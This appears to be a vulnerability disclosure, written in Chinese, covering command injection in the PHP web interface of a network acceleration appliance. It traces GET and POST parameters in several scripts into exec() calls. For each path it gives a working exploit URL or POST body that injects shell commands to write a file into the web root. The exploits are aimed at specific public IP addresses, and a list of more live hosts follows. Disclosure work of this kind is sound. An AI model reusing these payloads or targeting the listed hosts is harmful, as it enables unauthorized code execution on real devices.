bytecache_run_action.php:code 区域<?php
require_once dirname(__FILE__)."/../common/commandWrapper.inc";
require_once dirname(__FILE__)."/../common/UciUtil.inc";
$action = $_GET['action'];
$engine = $_GET['engine'];
$ipfilter= $_GET['ipfilter'];
if($action=="1"){
$ipFilterArray = split("[/.]",$ipfilter);
for($m =0 ;$m<4 ;$m++){
if($ipFilterArray[$m]>15){
$ipFilterArray[$m]=dechex($ipFilterArray[$m]);
}else{
$ipFilterArray[$m]="0".dechex($ipFilterArray[$m]);
}
}
$ipFilterNum =$ipFilterArray[0].$ipFilterArray[1].$ipFilterArray[2].$ipFilterArray[3];
UciUtil::setValue('appex', 'sys', 'BCDebugEngineId',$engine);
UciUtil::setValue('appex', 'sys', 'BCDebugIpFilter',$ipfilter);
startByteCacheDebug($engine,$ipFilterNum);
}else{
$engine = UciUtil::getValue('appex', 'sys', 'BCDebugEngineId');
stopByteCacheDebug($engine);
}
?>
第一处:
setValue
跟进去:code 区域public static function setValue($package, $config, $option, $value){
self::getUciDao()->set($package, $config, $option, $value);
}
再跟进去:code 区域public function setConfig($package,$config,$value){
$cmd = UCI_CMD." set ".$package.".".$config."=".$value;
exec($cmd);
}
说明value可控
第二处:
startByteCacheDebug($engine,$ipFilterNum);
跟进去:code 区域function startByteCacheDebug($engine,$ipFilter){
$command = "/tmp/appexcfg/bin/apxdebug.sh start "." ".$engine." ".$ipFilter." >/dev/null &";
execute($command);
}
第三处:
当action 不是1的时候
stopByteCacheDebug($engine);
跟进去:code 区域function stopByteCacheDebug($engine){
$command = "/tmp/appexcfg/bin/apxdebug.sh stop "." ".$engine." & ";
execute($command);
//echo $command;
}
证明一处即可:
http://218.206.217.19:8080/acc/debug/bytecache_run_action.php?action=1&engine= | echo wooyun > a.php | &ipfilter=10
访问:
http://218.206.217.19:8080/acc/debug/a.php
第四处:
change_lan.phpcode 区域$lanID = 'En';
$refLink = $_SERVER['HTTP_REFERER'];
if(empty($refLink)){
$refLink = "/index.php";
}
$refLink = str_replace("?error=1", "", $refLink);
if(array_key_exists('LanID',$_REQUEST))
{
$lanID = $_REQUEST["LanID"];
$appexSystemDao = new AppexSystemDao();
$appexSystemDao->setAppexSystemConfigItemValue(LANGUAGE_ID_FIELD,$lanID);
$appexSystemDao->commit();
session_start();
跟进setAppexSystemConfigItemValue:code 区域public function setAppexSystemConfigItemValue($option,$value){
parent::set(UCI_APPEX,"sys",$option,$value);
}
再跟进;code 区域public function set($package,$config,$option,$value){
$cmd = UCI_CMD." set ".$package.".".$config.".".$option."='".$value."'";
exec($cmd);
}
http://61.148.24.182:8080/change_lan.php
postdata:
LanID=1' | echo ' wooyun' > a.php | '
第五处:
enable_tool_debug.php:code 区域<?php
require_once dirname(__FILE__)."/../common/commandWrapper.inc";
error_reporting(E_ALL ^ E_WARNING ^ E_NOTICE);
$val = $_GET['val'];
$tool = $_GET['tool'];
$par = $_GET['par'];
runTool($val,$tool,$par);
?>
runTool:code 区域function runTool($val,$tool,$par){
if($val=="0"){
UciUtil::setValue('system', 'runtool', 'tool', $tool);
UciUtil::setValue('system', 'runtool', 'parameter', $par);
UciUtil::commit('system');
if($tool=="1"){
exec('ping '.$par.'>/tmp/tool_result &');
}else if($tool=="2"){
exec('traceroute '.$par.'>/tmp/tool_result &');
}
}else if($val=="1"){
$tool=UciUtil::getValue('system', 'runtool', 'tool');
if($tool=="1"){
exec('killall ping ');
}else if($tool=="2"){
exec('killall traceroute ');
}
UciUtil::setValue('system', 'runtool', 'tool', '');
UciUtil::setValue('system', 'runtool', 'parameter', '');
UciUtil::commit('system');
exec('echo "">/tmp/tool_result');
}
http://61.54.222.33:8080/acc/tools/enable_tool_debug.php?val=0&tool=1&par=172.0.0.1' | echo wooyun > a.php | '
getMacAddr.php:code 区域<?php
include_once dirname(__FILE__).'/../common/commandWrapper.inc';
$tmpeth = $_GET['eth'];
$tmpmacAddr = strtoupper(getMacAddrFromIfName($tmpeth));
echo ' ';
?>
跟进getMacAddrFromIfNamecode 区域function getMacAddrFromIfName($ifName){
$mac = execute('cat /sys/class/net/' . trim($ifName) . '/address')->get('output');
if($mac != null && $mac != '')
return $mac[0];
else
return '';
}
http://218.206.217.19:8080/acc/network/getMacAddr.php?eth= | echo wooyun > c.php |
访问http://218.206.217.19:8080/acc/network/c.php 即可
http://61.148.24.182:8080/
http://61.54.222.39:8080/
http://61.148.24.182:8080
http://61.54.222.33:8080